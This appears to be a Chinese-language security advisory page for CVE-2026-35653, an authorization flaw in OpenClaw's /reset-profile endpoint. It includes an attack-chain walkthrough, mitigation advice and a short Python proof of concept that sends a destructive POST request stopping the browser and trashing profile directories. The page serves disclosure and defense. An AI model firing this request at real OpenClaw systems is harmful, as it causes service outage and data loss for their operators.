IPBUF安全漏洞报告
English
CVE-2026-35653 CVSS 8.1 高危

CVE-2026-35653 OpenClaw权限绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35653
漏洞类型
权限绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限绕过OpenClaw访问控制高危漏洞CVE-2026-35653

漏洞概述

OpenClaw在2026.3.24之前的版本中存在一个错误的授权漏洞。该漏洞位于POST /reset-profile端点,允许拥有operator.write权限(针对browser.request)的经过身份验证的调用者绕过对配置文件修改的限制。攻击者可以通过browser.request表面调用POST /reset-profile,导致停止正在运行的浏览器,关闭Playwright连接,并将配置文件目录移动到回收站,从而跨越预期的特权边界,对系统完整性和可用性造成严重影响。

技术细节

该漏洞的根本原因是OpenClaw在处理/reset-profile端点时实施了不正确的授权检查。尽管该端点执行的是具有高破坏性的系统级操作(如终止进程和删除文件),但系统仅验证了调用者是否具有operator.write级别的权限,具体是对browser.request的访问权限,而未验证其是否具有执行系统重置或管理用户数据的更高级别权限。攻击者首先需要获取一个有效的OpenClaw账户,并被授予operator.write权限。随后,攻击者利用这一权限,通过浏览器请求接口向/reset-profile端点发送POST请求。由于授权逻辑的缺陷,服务器接受了该请求并执行了重置操作。这导致所有活跃的Playwright连接被强制关闭,浏览器进程被终止,且关键的配置文件目录被移动至Trash。这种利用方式不仅造成了服务拒绝(DoS),还通过篡改文件系统破坏了数据完整性。

攻击链分析

STEP 1
1. 信息收集与身份验证
攻击者获取OpenClaw系统的访问权限,并注册或劫持一个拥有operator.write权限(特别是对browser.request有写权限)的账户。
STEP 2
2. 权限利用
攻击者利用该账户权限,构造针对/reset-profile端点的HTTP POST请求。系统错误地将此操作视为允许的browser.request操作,而非需要更高权限的管理操作。
STEP 3
3. 执行攻击
服务器接收并处理该请求,执行重置配置文件的逻辑,包括关闭Playwright连接、终止浏览器进程。
STEP 4
4. 造成影响
系统服务中断(可用性影响),配置文件被移除或移动(完整性影响),导致正常业务受阻。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "http://vulnerable-host:port/reset-profile" # Headers simulating an authenticated user with 'operator.write' access # In a real scenario, this would be a valid session cookie or API token headers = { "Content-Type": "application/json", "Authorization": "Bearer <valid_operator_write_token>", "User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)" } def exploit(): print("[+] Attempting to exploit CVE-2026-35653...") try: # The vulnerability allows triggering the reset via a simple POST request response = requests.post(TARGET_URL, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful!") print("[+] The browser should be stopped and profiles moved to trash.") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred during the request: {e}") if __name__ == "__main__": exploit()

影响范围

OpenClaw < 2026.3.24

防御指南

临时缓解措施
建议立即升级到官方发布的修复版本(2026.3.24及以上)。在升级完成前,应严格审查系统日志,监控对/reset-profile接口的非正常调用,并临时撤销非必要用户的operator.write权限,以防止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表